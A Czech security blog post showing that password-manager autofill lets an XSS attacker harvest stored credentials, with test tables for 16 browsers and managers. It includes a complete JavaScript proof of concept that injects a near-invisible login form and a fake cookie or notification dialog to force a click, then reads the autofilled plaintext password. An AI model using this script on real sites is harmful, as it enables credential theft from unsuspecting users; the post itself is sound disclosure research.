Automatické vyplňování ve správci hesel byste si měli zakázat

13. července 2021

Aktualizováno:
19. července 2021: Přidány příklady zneužití v "Potenciální rizika pro uživatele", vysvětlen typ popisovaného autofillu
27. července 2021: Změna doporučení, jak zakázat autofill ve Firefoxu
31. července 2021: Přidána FAQ sekce, v nové verzi Microsoft Edge lze vyžadovat systémové heslo pro doplnění uloženého hesla
27. dubna 2023: Refaktoring scriptu, změnen titulek z "vypnout" na "zakázat"
Poznámky:
Tento blog post není o manuálním autofillu (kliknutí v UI), ale o správcích hesel, kteří doplňují hesla zcela automaticky (nebo při libovolném kliknutí na stránce). XSS zranitelnost může být kdekoliv na doméně, nemusí být nutně na přihlašovací stránce.

V IT bezpečnosti jsou v dnešní době velice oblíbeným tématem správci hesel. S používáním správců mohu jen souhlasit. Přeci jen, pamatovat si několik desítek unikátních hesel je skoro nemožné.

Mnohdy již ale není zmíněna informace, že funkce automatického vyplňování by měla být vypnuta nebo alespoň nastavena na vyplňování pouze na žádost uživatele. Autofill spíše bývá označován jako užitečná funkce zajišťující pohodlné a „bezpečné“ přihlašování. Ano, pohodlné to je, ale na úkor bezpečnosti.

Funkci automatického vyplňování má několik správců v základním nastavení zapnutou, a to i přesto, že se tím snižuje zabezpečení uložených údajů.

Používá-li uživatel základní nastavení nebo se řídí doporučením od správce hesel, tak je možné do jednoho kliku myší získat uložený přihlašovací údaj u 11 ze 16 testovaných prohlížečů a správců hesel. Nemusí tedy dojít k úniku databáze/hesel na dané stránce, a i přesto získá útočník vaše údaje - vše v čitelné a nešifrované formě (v plaintextu).

Automatické vyplňování může být dvou typů: automatické vyplňování bez uživatelské interakce (automatic autofill) a automatické vyplňování vyžadující uživatelskou interakci (kliknutí na údaj v UI ve správci hesel - manual autofill). V následující článku je termín autofill/automatické vyplňování vždy popisován jako automatické vyplňování bez uživatelské interakce.

Části:

Autofill / Automatické vyplňování

Jak již název napovídá, tak tato funkce u správců hesel zajišťuje, že dojde k automatickému vyplnění údajů do přihlašovacího formuláře. Údaje jsou předvyplněny pouze u domén, u kterých došlo k jejich uložení.

Chování autofillu závisí na mnoha faktorech. Kromě domény se ověřuje použitý protokol (http/https), atributy formuláře nebo třeba id a názvy prvků.

Z bezpečnostního hlediska může tato funkce sloužit uživatelům k ověření, zda se nenacházejí na phishing stránce. V případě, že by se na ní nacházeli, tak by k automatickému vyplnění údajů nedošlo. Uživatelé by si mohli všimnout neobvyklého chování a mohli by si ověřit, na jaké doméně se právě nacházejí.

Kromě „ověření“ phishing stránky se jedná spíše o funkci zajišťující pohodlné přihlašování, protože uživatel nemusí nikam klikat a má již vše předem předvyplněné. Předvyplněné údaje jsou ale problémem, protože všechna data jsou v čitelné formě (plaintextu) a mohou být přístupná pomocí javascriptu.

Autofill hesel u chromium-based prohlížečů

U chromium-based prohlížečů (kromě Brave prohlížeče) funguje autofill funkce trochu jinak, než například u Firefoxu nebo běžných správců hesel.

V těchto prohlížečích dochází k doplnění údajů na první pohled zcela automaticky, ale není tomu tak. Údaje ve formuláři nejsou doopravdy vyplněné. K vyplnění dochází až v moment, kdy uživatel bude interagovat se stránkou.

Uživatelská interakce musí být typu isTrusted (=> vyvolaná uživatelem) s událostí jako je stisk klávesy nebo klik myší. Mouseover, mousemove a podobně „jednodušší“ události plnohodnotný autofill neprovedou. Bude-li vypsán obsah inputu bez předchozí uživatelské interakce se stránkou, dojde k zobrazení pouze prázdné hodnoty.

Pro ukázku jsem vytvořil script, který po 5 sekundách zobrazí obsah hodnot ve formuláři.

<form action="/example.html">
      <label for="username">Username</label><br>
      <input type="text" id="username" name="username"> <br>
      <label for="psw">Password</label><br>
      <input type="password" id="password" name="password"><br><br>
      <input type="submit" value="Submit">
</form>

<script>
window.setTimeout(function(){
       var username = document.getElementById("username").value;
       var password = document.getElementById("password").value;

       alert(username+":"+password);
}, 5000);
</script>    

Jak autofill u chromium-based prohlížečů funguje můžete vidět na následujících animacích:

0-CLICK

1-CLICK

Útočník musí tedy nějakým způsobem přimět uživatele, aby na stránce někam kliknul. V roli útočníka bych asi zobrazil notifikační nebo cookie dialog. Oba typy prvků se na stránkách zobrazují poměrně často, proto oběť nenabude podezření na podezřelou aktivitu.

Cílem není, aby oběť někam přesně kliknula, ale aby byl nějaký klik proveden. Zobrazení prvku, který znepříjemňuje prohlížení webu, a pro jehož odstranění je nutné interagovat se stránkou, je za mě velice účinný způsob, jak od uživatele získat požadovaný klik.

Zneužití autofillu? Cross-Site Scripting (XSS)

XSS je nejběžnější webová zranitelnost. Má-li webová stránka zranitelnost tohoto typu, tak je možné vložit do stránky vlastní javascriptový kód, který bude vykonávat akci definovanou útočníkem - například krádež přihlašovacích údajů.

S použitím XSS se nabízí několik způsobů, jak ukrást přihlašovací údaje uživatele. Někoho by mohlo napadnout, že by v přihlašovacím formuláři zachytával zadané hodnoty nebo by změnil hodnotu form action (=adresa, kam se budou posílat údaje). K tomu bych měl pár doplňujících otázek:

  • Co když XSS zranitelnost nebude na stejné stránce, kde se vyskytuje přihlašovací formulář?
  • Co když už je uživatel přihlášen, a tudíž přihlašovací formulář nebude k dispozici?

Odpovědí by mohlo být, že by se uživateli zobrazil zcela nový přihlašovací formulář. V ideálním případě ještě se změnou frontendu, aby se vše tvářilo, že je odhlášen.

Ano, asi by to mohlo fungovat, ale u tohoto způsobu bych se musel spolehnout na to, že oběť znovu zadá své údaje. Co když ale uživatel nový přihlašovací formulář nevyplní?

Nejsem příznivec složité interakce od oběti. Chci-li po uživateli více než 2 běžné kliky myší, tak chci po uživateli už příliš hodně a přemýšlím nad jiným řešením. Mimo jiné, pokud bych chtěl po uživateli, aby se znovu přihlásil (zadal znovu údaje), tak v ten moment je to především založeno na sociálním inženýrství.

Mým postupem by bylo zneužití funkce automatického vyplňování, kterou mají správci hesel. Pokud vím o XSS zranitelnosti, tak pomocí javascriptu vytvořím nový přihlašovací formulář, který bude uživateli zcela skryt. Správce detekuje výskyt tohoto formuláře a bude do něj automaticky doplňovat údaje. Cílem by tedy bylo využít chybného nastavení v používaném správci hesel.

Výhody:

  • Útok probíhá na pozadí
  • Žádná dodatečná interakce ze strany oběti nebo jen minimální - 1 klik
  • XSS zranitelnost může být kdekoliv na dané doméně, pro některé správce stačí i subdoména
  • Uživatel může být přihlášen i odhlášen

Omezení:

  • Uživatel musí mít uložené heslo pro danou doménu
  • Oběť musí používat automatický autofill ve správci hesel
  • Správce hesel nesmí být uzamčen/odhlášen

Rozdíly v interakcích oběti mezi "XSS fake přihlašovací stránkou" a "XSS schovaným formulářem":

XSS fake přihlašovací stránka:
kliknutí do username inputu, zadání údajů, kliknutí do inputu hesla, zadání hesla = 4 interakceakce od oběti

XSS schovaný formulář:
načtení stránky = 0 nebo 1 interakce od oběti (maximálně 1 libovolné kliknutí)

Více vysvětleno v FAQ sekci

Analýza prohlížečů a správců hesel

V rámci analýzy jsem se zaměřil na nejpoužívanější prohlížeče a správce hesel. U password managerů bylo testováno pouze rozšíření do prohlížeče a vše bylo ověřováno ve verzi pouze pro počítač (především v Google Chrome). Na mobilních telefonech může tedy být chování zcela odlišné.

Testované prohlížeče a správci hesel:

Google Chrome 91.0.4472.124 - https://www.google.com/chrome
Mozilla Firefox 89.0.2 - https://www.mozilla.org
Safari 14.1.1 - https://www.apple.com/safari
Microsoft Edge 91.0.864.64 - https://www.microsoft.com/edge
Opera 77.0.4054.172 - https://www.opera.com
Internet Explorer 11 - https://www.microsoft.com/internetexplorer
Brave 1.26.74 - https://brave.com
Vivaldi 4.0.2312.36 - https://vivaldi.com

LastPass 4.75.0 - https://chrome.google.com/webstore/detail/hdokiejnpimakedhajhdlcegeplioahd
1Password 2.0.4 - https://chrome.google.com/webstore/detail/aeblfdkhhhdcdjpifhhbdiojplfjncoa
Bitwarden 1.51.0 - https://chrome.google.com/webstore/detail/nngceckbapebfimnlniiiahkandclblb
Dashlane 6.2123.1 - https://chrome.google.com/webstore/detail/fdjamakpfbbddfjaooikfcpapjohcfmg
Roboform 9.2.3.0 - https://chrome.google.com/webstore/detail/pnlccmojcmeohlpggmfnbbiapkmbliob
Keeper 15.3.5 - https://chrome.google.com/webstore/detail/bfogiafebfohielmmehodmfbbebbbpei
KeePassXC-Browser 1.7.8.1 - https://chrome.google.com/webstore/detail/oboonakemofpalcgghocfoadofidjkkk
Sticky Password 8.3.1.3 - https://chrome.google.com/webstore/detail/bnfdmghkeppfadphbnkjcicejfepnbfes

1) Prohlížeče a správci hesel ve výchozím nastavení

Zapnutý autofill Nutná akce uživatele pro vyplnění údajů Akce uživatele
Google Chrome Ano Ano Interakce se stránkou
(stisk klávesy, klik myší)
Mozilla Firefox Ano Ne
Safari Ne Ano Výběr z nabídky
Microsoft Edge Ano Ano Interakce se stránkou
(stisk klávesy, klik myší)
Opera Ano Ano Interakce se stránkou
(stisk klávesy, klik myší)
Internet Explorer Ano Ne
Brave Ne Ano Výběr z nabídky
Vivaldi Ano Ano Interakce se stránkou
(stisk klávesy, klik myší)
LastPass Ano Ne
1Password Ne Ano Výběr z UI doplňku
Bitwarden Ne Ano Výběr z kontextového menu
Výběr z UI doplňku
Dashlane Ano Ne
Roboform Ne Ano Kliknutí na ikonu ve formuláři
Výběr z UI doplňku
Keeper* Ano/Ne Ne/Ano
KeePassXC-Browser** Ne Ano Kliknutí na ikonu ve formuláři
(zranitelné na clickjacking)
Výběr z UI doplňku
Sticky Password Ano Ne

* Keeper se při prvním přihlášení ptá, zda má být pro danou doménu zapnutý autofill - „Ano“ je uživatelům zvýrazněno
** KeePassXC-Browser je momentálně zranitelný na clickjacking, na 1 click je možné ukrást uložené heslo

Prohlížeče Mozilla Firefox a Internet Explorer doplňují hesla zcela automaticky. Google Chrome a “chromium-based” prohlížeče (s výjimkou Brave) doplňují hesla až při interakci se stránkou. Celkově je možné získat heslo do jednoho kliku myší u 6 prohlížečů.

Co se týče správců hesel, tak 3 správci mají autofill zapnutý už ve výchozím nastavení. U správce hesel Keeper uživatel potvrzuje dialog před prvním použitím uložených přihlašovacích údajů. Uživatel je dotázán, zda chce zapnout autofill pro konkrétní doménu. Znepokojivé je, že možnost ANO je zvýrazněna. Po odsouhlasení dialogu není v budoucnu uživatel znovu dotazován a údaje se doplňují zcela automaticky.

U správců hesel s autofillem jsou údaje vyplňovány bez interakce se stránkou, tedy zcela automaticky a bez asistence uživatele. Budu-li počítat Keeper i momentálně zranitelný KeePassXC-Browser, tak do jednoho kliknutí je možné získat uložené heslo u 5 správců hesel.

Chování autofillu závisí na Vašem používaném password manageru. U uživatele, který by používal na svá hesla pouze Brave prohlížeč, by k automatickému vyplnění údajů nedocházelo. V případě, že by měl uživatel Brave jen jako prohlížeč, a jako primárního správce hesel by používal například LastPass, tak v tu chvíli je chování prohlížeče ovlivněno správcem hesel. V případě doinstalovaného správce LastPass by tedy docházelo k automatickému vyplnění údajů i v Brave prohlížeči.

1.1) Automatické vyplňování u jiné URL a změněných atributů ve formuláři

Údaje uloženy na: https://example.com
Jiná URL (jiná cesta/path): https://example.com/foo
Subdoména: https://subdomain.example.com

Jiná URL:
stejné atributy
Jiná URL:
jiné input id
Jiná URL:
jiný input name
Jiná URL:
jiný form action
Jiná URL:
změna form action
až po načtení stránky
Subdoména:
stejné atributy
Google Chrome Ano Ano Ano Ano Ano Ne
Mozilla Firefox Ano Ano Ano Ne Ano Ne
Microsoft Edge Ano Ano Ano Ano Ano Ne
Opera Ano Ano Ano Ano Ano Ne
Internet Explorer Ano Ano Ano Ano Ano Ne
Vivaldi Ano Ano Ano Ano Ano Ne
LastPass Ano Ano Ne Varovný dialog Ano Ano
Dashlane Ano Ano Ano Ano Ano Ne
Keeper Ano Ano Ano Ano Ano Ne
KeePassXC-Browser Ano Ano Ano Varovný dialog Ano Varovný dialog
Sticky Password Ano Ano Ano Varovný dialog Ano Ano

V případě útoku jsou nejdůležitější informace, jak se chová správce hesel při zobrazení formuláře na jiné URL, a také na subdoméně. Name, ID inputu nebo jiné atributy může útočník ovlivnit při vytvoření nového formuláře.

Velice znepokojivé je, že u správců hesel LastPass a Sticky Password dochází k doplnění údajů, i když se jedná pouze o subdoménu.

1.2) Automatické vyplňování u subdomén

Nově vytvořený formulář měl vždy stejné atributy jako formulář, kde byly údaje uloženy.

Údaje uloženy na: https://subdomain.example.com
Stejná subdoména (jiná cesta/path): https://subdomain.example.com/foo
Jiná subdoména: https://subdomain2.example.com
Doména 4. řádu: https://foo.subdomain.example.com

Stejná subdoména (jiná cesta) Jiná subdoména Doména 4. řádu
Google Chrome Ano Ne Ne
Mozilla Firefox Ano Ne Ne
Microsoft Edge Ano Ne Ne
Opera Ano Ne Ne
Internet Explorer Ano Ne Ne
Vivaldi Ano Ne Ne
LastPass Ano Ano Ano
Dashlane Ano Ne Ne
Keeper Ano Ne Ne
KeePassXC-Browser Ano Ne Varovný dialog
Sticky Password Ano Ne Ano

U správce hesel LastPass došlo k doplnění údajů i na zcela jiné subdoméně, než na které došlo k uložení.

2) Správci hesel s dodatečně zapnutým autofillem

Mohou být uživatelé, kteří chtějí přejít z prohlížečového správce hesel na jiného, ale se zachováním stejného chování. Tedy, že se při použití jiného správce budou automaticky vyplňovat údaje tak, jak tomu bylo dosud. Rozhodnou se tedy zapnout tuto funkci v nastavení.

Ze zbývajících správců hesel není možné nastavit autofill pro 1Password, Brave nebo Safari. Pro ostatní Bitwarden, KeePassXC-Browser a Roboform to možné je. Pokud je tato funkce pouze zapnuta, bez dalších změn, tak žádný ze správců nevyžaduje dodatečnou akci od uživatele - údaje se doplňují zcela automaticky.

Bitwarden předem upozorňuje, že se jedná o „experimentální“ funkci. Informace, že se jedná o experimentální funkci je pro uživatele nicneříkající. Především pojem experimentální neznamená nebezpečná.

Jediný správce, který upozorňuje na použití této funkce je KeePassXC-Browser

2.1) Automatické vyplňování u jiné URL a změněných atributů ve formuláři:

Údaje uloženy na: https://example.com
Jiná URL (jiná cesta/path): https://example.com/foo
Subdoména: https://subdomain.example.com

Testováno bylo pouze zapnutí funkce. Další nastavení nebylo změněno, např. shoda URL a jiné.

Jiná URL:
stejné atributy
Jiná URL:
jiné input id
Jiná URL:
jiný input name
Jiná URL:
jiný form action
Jiná URL:
změna form action
až po načtení stránky
Subdoména:
stejné atributy
Bitwarden Ano Ano Ano Ano Ano Ano
Roboform Ano Ano Ano Ano Ano Ano
KeePassXC-Browser Ano Ano Ano Varovný dialog Ano Varovný dialog

Po zapnutí autofill funkce (bez dalšího nastavení) došlo ke snížení bezpečnosti uloženého hesla. Příkladem je Bitwarden nebo RoboForm, kteří začali doplňovat údaje i na subdoméně.

2.2) Automatické vyplňování u subdomén

Nově vytvořený formulář měl vždy stejné atributy jako formulář, kde byly údaje uloženy.

Údaje uloženy na: https://subdomain.example.com
Stejná subdoména (jiná cesta/path): https://subdomain.example.com/foo
Jiná subdoména: https://subdomain2.example.com
Doména 4. řádu: https://foo.subdomain.example.com

Stejná subdoména (jiná cesta) Jiná subdoména Doména 4. řádu
Bitwarden Ano Ano Ano
Roboform Ano Ano Ano
KeePassXC-Browser Ano Ne Varovný dialog

Bitwarden a RoboForm začali doplňovat údaje i na zcela jiné subdoméně, než na které došlo k uložení.

Limitace

Pro úspěšný útok je kromě zapnuté autofillu nutné splnit ještě další podmínky. Velice limitující může být je-li uloženo více přihlašovacích údajů pro konkrétní doménu. Má-li totiž uživatel uloženo více údajů, tak někteří správci neví, jaký údaj mají vyplnit. Nějaký správce vyplňuje posledně použitý údaj, a některý zas dá uživateli na výběr, jaké údaje chce doplnit, čímž se znemožní automatické vyplnění.

Autofill u 2 a více uložených údajů
Google Chrome Ano - naposledy použitý údaj
Mozilla Firefox Ne
Safari ----
Microsoft Edge Ano - naposledy použitý údaj
Opera Ano - naposledy použitý údaj
Internet Explorer Ne
Brave ----
Vivaldi Ano - naposledy použitý údaj
LastPass Ano - naposledy použitý údaj
1Password ----
Bitwarden Ano - naposledy použitý údaj
(zapnutý autofill)
Dashlane Ano/Ne*
Roboform Ne
(zapnutý autofill)
Keeper Ne
KeePassXC-Browser Ne
(zapnutý autofill)
Sticky Password Ne

*Uživatel, který v aktuálním tabu již jednou vybral přihlašovací údaje, tak ANO. Ve zcela novém tabu NE.

Další omezení:

Dochází ke krádeži pouze jedné uložené hodnoty pro konkrétní doménu.

LastPass:

  • K autofillu dochází jen u hesel, které byly uloženy po úspěšném přihlášení

Keeper

  • Při prvním přihlášení se ptá, zda má být pro danou doménu zapnutý autofill - „Ano“ je uživatelům zvýrazněno
  • Po odsouhlasení se v budoucnu znovu neptá a údaje rovnou vyplňuje

Skript a demo

Každý správce hesel kontroluje výskyt přihlašovacího formuláře trochu jinak. Pro jednoho správce musí být formulář pro uživatele viditelný, pro dalšího může být formulář zcela schován.

Limity, s kterými jsem se setkal při psaní skriptu:

Chromium-based

  • uživatel musí interagovat se stránkou
  • formulář může být úplně schován (display:none)

Dashlane

  • nelze použít display:none
  • formulář musí mít minimální opacity 0.2
  • formulář musí být v uživatelsky viditelném prostoru (nemůže být např. left: -1000px)
  • ve výchozím nastavení provádí autologin (autosubmit)

Keeper

  • nelze použít display:none
  • formulář může mít opacity:0
  • ve výchozím nastavení provádí autologin (autosubmit)

Sticky Password

  • nelze použít display:none nebo opacity:0, ale lze použít opacity:0.000001
  • formulář nemusí být v uživatelsky viditelném prostoru - lze zadat jen velkou hodnotu pro right a bottom (nemůže být např. left: -1000px, ale bottom:-1000px je v pořádku)
  • ve výchozím nastavení provádí autologin (autosubmit)

Bitwarden

  • nelze použít display:none nebo opacity:0, ale lze použít opacity:0.000001
  • formulář musí být v uživatelsky viditelném prostoru

"Bypass", který řeší viditelnost formuláře:

Formuláři je nutné nastavit: position: fixed; bottom: -{výška vytvořeného formuláře-X}px;
X = minimální viditelná část pro správce hesel, např. Bitwarden:3.0001 (větší než 3), Dashlane:2

Nově vytvořený formulář bude okrajově viditelný maximálně na 1,5 sekundy. Správce hesel takto viditelný formulář detekuje a doplní údaje.

Výsledný skript (pro Red Team/etické účely):

I přes množství limitů jsem vytvořil skript, který je na testovací stránce použitelný pro všechny správce, kteří mají autofill zapnutý ve výchozím nastavení. Skript funguje i pro správce, u kterých došlo k dodatečnému zapnutí autofillu.

Na začátku je možné definovat, jaký dialog chci uživateli zobrazit (kvůli vynucení kliku). Také je možné nastavit, zda má být za dialogem overlay (pro zhoršení čitelnosti webu) nebo jestli má být zablokováno scrollování.

Při vytváření nového formuláře není nutné kopírovat styly (class) z originálního formuláře.

Pokud je skript vložen do stránky, kde se originální přihlašovací formulář již vyskytuje, tak je nutné prvně u tohoto originální formuláře změnit všechny identifikační atributy. Bez této změny by správce hesel mohl mít problém s vyplněním údajů do nově vytvořeného formuláře. Došlo by totiž k situaci, že by se na stránce vyskytovaly 2 zcela stejné formuláře.

Popis skriptu:

  1. Je vytvořen nový formulář, který je shodný s formulářem, kde byly uloženy údaje.
  2. Nový formulář obsahuje onchange() událost. Změní-li se obsah formuláře (doplnění údajů), tak dojde k získání hodnot document.getElementById("username").value a document.getElementById("password").value.
  3. Používá-li uživatel správce hesel (mimo chromium-based prohlížečů), tak není potřeba interagovat se stránkou. Prvně se tedy kontroluje, zda již nejsou v nově vytvořeném formuláři vyplněná data.
  4. Pokud do 1500 ms nedošlo k doplnění údajů, tak se zobrazí uživateli notifikační nebo cookie dialog, kterým se vynutí klik od uživatele. Vynucením kliku dojde k doplnění údajů u chromium-based prohlížečů.
var overlay = true;            
var scrolling = false;           
var dialog = "notification";    // notification, cookie

createLoginForm();

window.setTimeout(function(){
    hideLoginForm();
    
    // function especially for chromium-based browsers
    // show notification or cookie dialog that require a user interaction
    if (!!window.chrome && !document.getElementById("password").value) {
        showDialog();
        addDialogEvents();
    }
}, 1500);


function createLoginForm() {
    var divlogin = document.createElement("div");
    divlogin.style = "position: fixed; bottom: -19.9999px; z-index: 2147483647; opacity:0.2";
    divlogin.id = "divlogin";
    divlogin.innerHTML  = ' \
            <form method="POST" action="login.html" id="form" onchange="getFormValues()"> \
                <input type="text" id="username" name="username" autocomplete=on required> \
                <input type="password" id="password" name="password" autocomplete=on required> \
                <button type="submit" id="submit">Login</button> \
            </form>';
    document.body.appendChild(divlogin);
}

// remove submit button to prevent autosubmit feature in password managers
function removeSubmitButton() {
  if (document.getElementById("submit")) { 
        var element = document.getElementById("form");
        var child = document.getElementById("submit");  
        element.removeChild(child);
  }
}

function hideLoginForm() {
    divlogin.style.display = "none";
}

function getFormValues() {
    usr=document.getElementById("username").value;
    pw=document.getElementById("password").value;
    
    if (usr && pw) {
        removeSubmitButton();
        hideLoginForm();
        alert(usr+":"+pw);
    } 
}

function showDialog() {
    var overlaydiv = ""; 
    var boxshadow = "";

    var dialogdiv = document.createElement("div");   
    if (overlay) {
        overlaydiv = '<div id="overlay"></div>';
        boxshadow = 'box-shadow:0 1px 12px rgb(5 27 44 / 33%), 0 2px 32px rgb(5 27 44 / 48%) !important;';
    } else {
        boxshadow = 'box-shadow:0 1px 6px rgb(5 27 44 / 6%), 0 2px 32px rgb(5 27 44 / 16%) !important;';
    }
    
    if (dialog == "cookie") {
        dialogdiv.innerHTML = '<style>.no-scroll {overflow: hidden;} #overlay {position: fixed; display: block; width: 100%; height: 100%; top: 0; left: 0; right: 0; bottom: 0; background-color: rgba(0,0,0,0.5); z-index: 225859400; animation: .5s showoverlay; } #overlay.remove-overlay {animation: .5s hideoverlay; opacity: 0; } @keyframes showoverlay {from { opacity: 0; } to { opacity: 1; } } @keyframes hideoverlay {from { opacity: 1; } to { opacity: 0; } } #cookie-dialog {display: block!important; position: relative!important; opacity: 1!important; visibility: visible!important; margin: 290px auto 0!important; width: 650px!important; -webkit-box-sizing: content-box!important; -moz-box-sizing: content-box!important; box-sizing: content-box!important; max-width: 90%!important; background: #ffffff!important; padding: 12px 24px!important; overflow: hidden!important; z-index: 9999!important; border: 10px solid #5fa624!important; box-shadow: #333 1px 1px 10px 1px!important; line-height: 1.2!important; text-align: left!important; } #cookie-div {font-family: Arial,serif!important;width: 100%!important;height: 100%!important;margin: 0 auto!important;position: fixed!important;top: 0!important;left: 0!important;font-family: Arial,serif!important;z-index: 2258594000!important;overflow-y: auto!important;} #cookie-dialog h2 {font-size: 20px!important; line-height: 16px!important; font-weight: 700!important; margin: 10px 0 16px!important; } #cookie-dialog p {margin: 12px 0!important; line-height: 16px!important; text-indent: 0!important; font-weight: 400!important; font-size: 10pt!important; } #cookie-dialog #button-row {display: flex!important; flex-wrap: nowrap!important; justify-content: space-between!important; margin-right: 265px!important; } .btn {border: 1px solid #000000!important; font-family: Arial,serif!important; color: #000000!important; background: #ffffff!important; padding: 7px 10px!important; text-decoration: none!important; } #cookie-dialog #accept-all {border: none!important; color: #ffffff!important; background: #5fa624!important; text-decoration: none!important; } #links {display: flex!important; font-size: 12px!important; margin-top: 20px!important; } #cookie-dialog a {color: #5fa624!important; text-decoration: none!important; } #cookie-dialog a:hover {cursor: pointer!important; } .bar {margin: 0 5px!important; width: auto!important; height: auto!important; position: relative!important; } #accept-all:hover {cursor: pointer!important; background: #5fa624!important; text-decoration: none!important; } .btn:hover {cursor: pointer!important; background: #ffffff!important; text-decoration: none!important; }</style> \
                            '+overlaydiv+'<div id="cookie-div"><div id="cookie-dialog"> <div> <h2>Privacy & Transparency</h2> <p>We and our partners use cookies to  Store and/or access information on a device. We and our partners use data for  Personalised ads and content, ad and content measurement, audience insights and product development. An example of data being processed may be a unique identifier stored in a cookie. Some of our partners may process your data as a part of their legitimate business interest without asking for consent. To view the purposes they believe they have legitimate interest for, or to object to this data processing use the vendor list link below. The consent submitted will only be used for data processing originating from this website. If you would like to change your settings or withdraw consent at any time, the link to do so is in our privacy policy accessible from our home page.</p><p><span id="button-row"><button class="btn">Manage Settings</button><button id="accept-all" class="btn" style="color: rgb(255, 255, 255) !important;">Continue with Recommended Cookies</button> </span> </p> <div id="links"> <a href="javascript:void(0);">Vendor List</a> <span class="bar">|</span><a href="javascript:void(0);">Privacy Policy</a></div></div></div></div>';
        
    } else {
        dialogdiv.innerHTML = '<style>.no-scroll {overflow: hidden;} #overlay {position: fixed; display: block; width: 100%; height: 100%; top: 0; left: 0; right: 0; bottom: 0; background-color: rgba(0,0,0,0.5); z-index: 225859400; animation: .5s showoverlay; } #overlay.remove-overlay {animation: .5s hideoverlay; opacity: 0; } @keyframes showoverlay {from { opacity: 0; } to { opacity: 1; } } @keyframes hideoverlay {from { opacity: 1; } to { opacity: 0; } } #notification-container #notification-dialog .button {box-sizing: border-box; padding: 0.75em 1.5em; font-size: 1em; border-radius: .25em; font-weight: 400; box-shadow: unset; display: -ms-flexbox; display: flex; float: right; position: relative; line-height: 1.5; text-align: center; white-space: nowrap; vertical-align: middle; cursor: pointer; -webkit-user-select: none; font-family: inherit; letter-spacing: 0.05em; margin: 0; border: 1px solid transparent; } #notification-container #notification-dialog .button.secondary {box-shadow: none; background: white !important; color: #0078D1 !important; margin-right: 0.714em; } #notification-container #notification-dialog .sizing {display: block; -webkit-backface-visibility: initial !important; backface-visibility: initial !important; } #notification-container #notification-dialog .notification-body-message {box-sizing: border-box; padding: 0 0 0 1em; font-weight: 400; float: left; width: calc(100% - 80px); line-height: 1.45em; -o-user-select: none; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; cursor: default; color: #051B2C !important; } #notification-container #notification-dialog .notification-body-icon img.icon {width: 45px; top: 3px; left: 50%; transform: translateX(-50%); position: absolute; height: 45px; } #notification-container #notification-dialog .notification-body-icon {box-sizing: border-box; float: left; width: 80px; height: 80px; position: relative; } #notification-container #notification-dialog .notification-body {box-sizing: border-box; margin: 0; } #notification-container #notification-dialog {width: 500px; box-sizing: border-box; max-width: 100%; margin: 0 auto; '+boxshadow+' background: white !important; color: #051b2c; padding: 1.5em 1.5em; border-bottom-left-radius: 0.5em; border-bottom-right-radius: 0.5em; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Seoe UI Symbol"; } #notification-container {font-size: 16px; position: fixed; z-index: 2258594000; left: 0; right: 0; -webkit-font-smoothing: initial; } #notification-container.slide-down {top: 0; } #notification-dialog .sizing {content: ""; display: block; height: 0; clear: both; } #notification-container #notification-dialog .button.primary {background: #0078D1; color: white !important; } #notification-container #notification-dialog .button.primary:hover {background: #0062ab; } #notification-container.slide-down #notification-dialog {-webkit-animation-name: animationDown; -webkit-animation-iteration-count: 1; -webkit-animation-timing-function: ease-out; -webkit-animation-duration: 400ms; -webkit-animation-fill-mode: forwards; animation-name: animationDown; animation-iteration-count: 1; animation-timing-function: ease-out; animation-duration: 400ms; animation-fill-mode: forwards; -webkit-font-smoothing: initial; } #notification-container.slide-up {-webkit-animation-name: animationUp; -webkit-animation-iteration-count: 1; -webkit-animation-timing-function: ease-out; -webkit-animation-duration: 500ms; -webkit-animation-fill-mode: forwards; animation-name: animationUp; animation-iteration-count: 1; animation-timing-function: ease-out; animation-duration: 500ms; animation-fill-mode: forwards; } @keyframes animationUp {0% {transform: translateY(0%); } 100% {transform: translateY(-150%); } } @keyframes animationDown {0% {transform: translateY(-150%); } 100% {transform: translateY(0); }}</style> \
                            '+overlaydiv+'<div id="notification-container" class="notification-container slide-down"><div id="notification-dialog" class="notification-dialog"><div class="notification-body" id="notification-body"><div class="notification-body-icon"><img class="icon" alt="icon" src=\'data:image/svg+xml,%3Csvg fill="none" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 40 40"%3E%3Cg clip-path="url(%23clip0)"%3E%3Cpath fill-rule="evenodd" clip-rule="evenodd" d="M33.232 28.434a2.5 2.5 0 001.768.733 1.667 1.667 0 010 3.333H5a1.667 1.667 0 110-3.333 2.5 2.5 0 002.5-2.5v-8.104A13.262 13.262 0 0118.333 5.122V1.667a1.666 1.666 0 113.334 0v3.455A13.262 13.262 0 0132.5 18.563v8.104a2.5 2.5 0 00.732 1.767zM16.273 35h7.454a.413.413 0 01.413.37 4.167 4.167 0 11-8.28 0 .417.417 0 01.413-.37z" fill="%23BDC4CB"/%3E%3C/g%3E%3Cdefs%3E%3CclipPath id="clip0"%3E%3Cpath fill="%23fff" d="M0 0h40v40H0z"/%3E%3C/clipPath%3E%3C/defs%3E%3C/svg%3E\'></div><div class="notification-body-message">We\'d like to send you notifications for the latest news and updates.</div><div class="sizing"></div></div><div id="buttons"><button class="primary button">Allow</button><button class="secondary button">Cancel</button><div class="sizing"></div></div></div></div>';
    }
    
    document.body.appendChild(dialogdiv);
    
    if (!scrolling) {
        document.getElementsByTagName("body")[0].classList.add("no-scroll");
    }
}

function addDialogEvents() {
    window.addEventListener('click', function(){      
        if (overlay) {
            hideOverlay();
        }  

        if (!scrolling) {
            document.getElementsByTagName("body")[0].classList.remove("no-scroll");
        }  

        if (dialog == "cookie") {
           document.getElementById("cookie-div").style.display = "none";
        } else {
             hideDialog();
        }        
    });
    
    window.addEventListener('keydown', function(){
        if (overlay) {
            hideOverlay();
        }
        
        if (!scrolling) {
            document.getElementsByTagName("body")[0].classList.remove("no-scroll");
        }
        
        if (dialog == "cookie") {
            document.getElementById("cookie-div").style.display = "none";
        } else {
             hideDialog();
        }
    });   
}
  
function hideDialog() {
    document.getElementById("notification-container").classList.add("slide-up");
}

function hideOverlay() {
    var x = document.getElementById("overlay");
    x.classList.add("remove-overlay");
    window.setTimeout(function(){
         x.style.display = "none";
    }, 500); 
} 

Demo

Přihlašovací formulář pro uložení hesla: https://websecurity.dev/password-managers/login/
Testovací stránka se skriptem: https://websecurity.dev/password-managers/autofill/

Google Chrome - nutná uživatelská interakce

LastPass - uložené heslo po přihlášení se automaticky doplňuje


Clickjacking KeePassXC-Browser

